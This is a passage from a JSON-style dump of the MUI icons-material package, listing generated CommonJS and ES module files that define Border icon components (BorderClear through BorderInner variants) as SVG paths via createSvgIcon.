    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h2v2H7zm0 16h2v2H7zM3 3h2v2H3zm16 0h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM3 7h2v2H3zm0 12h2v2H3zm16 0h2v2h-2zm0-4h2v2h-2zM3 15h2v2H3zm0-4h2v2H3zm4 0h2v2H7zm8 0h2v2h-2zm-4 8h2v2h-2zm4 0h2v2h-2zm0-16h2v2h-2zm-4 0h2v2h-2zm0 4h2v2h-2zm0 8h2v2h-2zm0-4h2v2h-2z\"\n}), 'BorderClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h2v2H7zm0 16h2v2H7zM3 3h2v2H3zm16 0h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zM3 7h2v2H3zm0 12h2v2H3zm16 0h2v2h-2zm0-4h2v2h-2zM3 15h2v2H3zm0-4h2v2H3zm4 0h2v2H7zm8 0h2v2h-2zm-4 8h2v2h-2zm4 0h2v2h-2zm0-16h2v2h-2zm-4 0h2v2h-2zm0 4h2v2h-2zm0 8h2v2h-2zm0-4h2v2h-2z\"\n}), 'BorderClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 24H2v-4h20zM13.06 5.19l3.75 3.75L7.75 18H4v-3.75zm4.82 2.68-3.75-3.75 1.83-1.83c.39-.39 1.02-.39 1.41 0l2.34 2.34c.39.39.39 1.02 0 1.41z\"\n}), 'BorderColor');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 24H2v-4h20zM13.06 5.19l3.75 3.75L7.75 18H4v-3.75zm4.82 2.68-3.75-3.75 1.83-1.83c.39-.39 1.02-.39 1.41 0l2.34 2.34c.39.39.39 1.02 0 1.41z\"\n}), 'BorderColor');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.81 8.94-3.75-3.75L4 14.25V18h3.75zM6 16v-.92l7.06-7.06.92.92L6.92 16zm13.71-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2 20h20v4H2z\"\n}), 'BorderColorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.81 8.94-3.75-3.75L4 14.25V18h3.75zM6 16v-.92l7.06-7.06.92.92L6.92 16zm13.71-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2 20h20v4H2z\"\n}), 'BorderColorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 24H4c-1.1 0-2-.9-2-2s.9-2 2-2h16c1.1 0 2 .9 2 2s-.9 2-2 2M13.06 5.19l3.75 3.75-8.77 8.77c-.18.19-.44.29-.7.29H5c-.55 0-1-.45-1-1v-2.34c0-.27.11-.52.29-.71zm4.82 2.68-3.75-3.75 1.83-1.83c.39-.39 1.02-.39 1.41 0l2.34 2.34c.39.39.39 1.02 0 1.41z\"\n}), 'BorderColorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 24H4c-1.1 0-2-.9-2-2s.9-2 2-2h16c1.1 0 2 .9 2 2s-.9 2-2 2M13.06 5.19l3.75 3.75-8.77 8.77c-.18.19-.44.29-.7.29H5c-.55 0-1-.45-1-1v-2.34c0-.27.11-.52.29-.71zm4.82 2.68-3.75-3.75 1.83-1.83c.39-.39 1.02-.39 1.41 0l2.34 2.34c.39.39.39 1.02 0 1.41z\"\n}), 'BorderColorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 24H2v-4h20zM13.06 5.19l3.75 3.75L7.75 18H4v-3.75zm4.82 2.68-3.75-3.75 2.53-2.54 3.75 3.75z\"\n}), 'BorderColorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 24H2v-4h20zM13.06 5.19l3.75 3.75L7.75 18H4v-3.75zm4.82 2.68-3.75-3.75 2.53-2.54 3.75 3.75z\"\n}), 'BorderColorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.81 8.94-3.75-3.75L4 14.25V18h3.75zM6 16v-.92l7.06-7.06.92.92L6.92 16zm13.71-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2 20h20v4H2z\"\n}), 'BorderColorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderColorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.81 8.94-3.75-3.75L4 14.25V18h3.75zM6 16v-.92l7.06-7.06.92.92L6.92 16zm13.71-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75zM2 20h20v4H2z\"\n}), 'BorderColorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-8-8h18v-2H3zM19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontal');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-8-8h18v-2H3zM19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontal');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-8-8h18v-2H3zM19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-8-8h18v-2H3zM19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-7-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-7-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-8-8h18v-2H3zM19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zM5 7H3v2h2zM3 17h2v-2H3zm4 4h2v-2H7zM5 3H3v2h2zm4 0H7v2h2zm8 0h-2v2h2zm-4 4h-2v2h2zm0-4h-2v2h2zm6 14h2v-2h-2zm-8 4h2v-2h-2zm-8-8h18v-2H3zM19 3v2h2V3zm0 6h2V7h-2zm-8 8h2v-2h-2zm4 4h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'BorderHorizontalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3h2v2h-2zm8 0h2v2h-2zm0 4h2v2h-2zm-4-4h2v2h-2zM3 19h2v2H3zm0-4h2v2H3zm0-8h2v2H3zm4 12h2v2H7zm4-12h2v2h-2zM7 3h2v2H7zM3 3h2v2H3zm12 16h2v2h-2zm-4 0h2v2h-2zm8-4h2v2h-2zm0 4h2v2h-2zm-8-4h2v2h-2zm-8-4h18v2H3z\"\n}), 'BorderHorizontalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderHorizontalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3h2v2h-2zm8 0h2v2h-2zm0 4h2v2h-2zm-4-4h2v2h-2zM3 19h2v2H3zm0-4h2v2H3zm0-8h2v2H3zm4 12h2v2H7zm4-12h2v2h-2zM7 3h2v2H7zM3 3h2v2H3zm12 16h2v2h-2zm-4 0h2v2h-2zm8-4h2v2h-2zm0 4h2v2h-2zm-8-4h2v2h-2zm-8-4h18v2H3z\"\n}), 'BorderHorizontalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM13 3h-2v8H3v2h8v8h2v-8h8v-2h-8zm6 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInner');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM13 3h-2v8H3v2h8v8h2v-8h8v-2h-8zm6 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInner');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM13 3h-2v8H3v2h8v8h2v-8h8v-2h-8zm6 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInnerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM13 3h-2v8H3v2h8v8h2v-8h8v-2h-8zm6 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInnerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM12 3c-.55 0-1 .45-1 1v7H4c-.55 0-1 .45-1 1s.45 1 1 1h7v7c0 .55.45 1 1 1s1-.45 1-1v-7h7c.55 0 1-.45 1-1s-.45-1-1-1h-7V4c0-.55-.45-1-1-1m7 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInnerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM12 3c-.55 0-1 .45-1 1v7H4c-.55 0-1 .45-1 1s.45 1 1 1h7v7c0 .55.45 1 1 1s1-.45 1-1v-7h7c.55 0 1-.45 1-1s-.45-1-1-1h-7V4c0-.55-.45-1-1-1m7 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInnerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM13 3h-2v8H3v2h8v8h2v-8h8v-2h-8zm6 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInnerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h2v-2H3zm4 0h2v-2H7zM5 7H3v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm12 0h-2v2h2zm2 6h2V7h-2zm0-6v2h2V3zm-4 18h2v-2h-2zM13 3h-2v8H3v2h8v8h2v-8h8v-2h-8zm6 18h2v-2h-2zm0-4h2v-2h-2z\"\n}), 'BorderInnerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h2v2H3zM3 3h2v2H3zm0 16h2v2H3zm8 2h2v-8h8v-2h-8V3h-2v8H3v2h8zm-4-2h2v2H7zm12-4h2v2h-2zm-4 4h2v2h-2zm4 0h2v2h-2zM3 7h2v2H3zm16 0h2v2h-2zM7 3h2v2H7zm8 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'BorderInnerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderInnerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h2v2H3zM3 3h2v2H3zm0 16h2v2H3zm8 2h2v-8h8v-2h-8V3h-2v8H3v2h8zm-4-2h2v2H7zm12-4h2v2h-2zm-4 4h2v2h-2zm4 0h2v2h-2zM3 7h2v2H3zm16 0h2v2h-2zM7 3h2v2H7zm8 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'BorderInnerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeft.js",
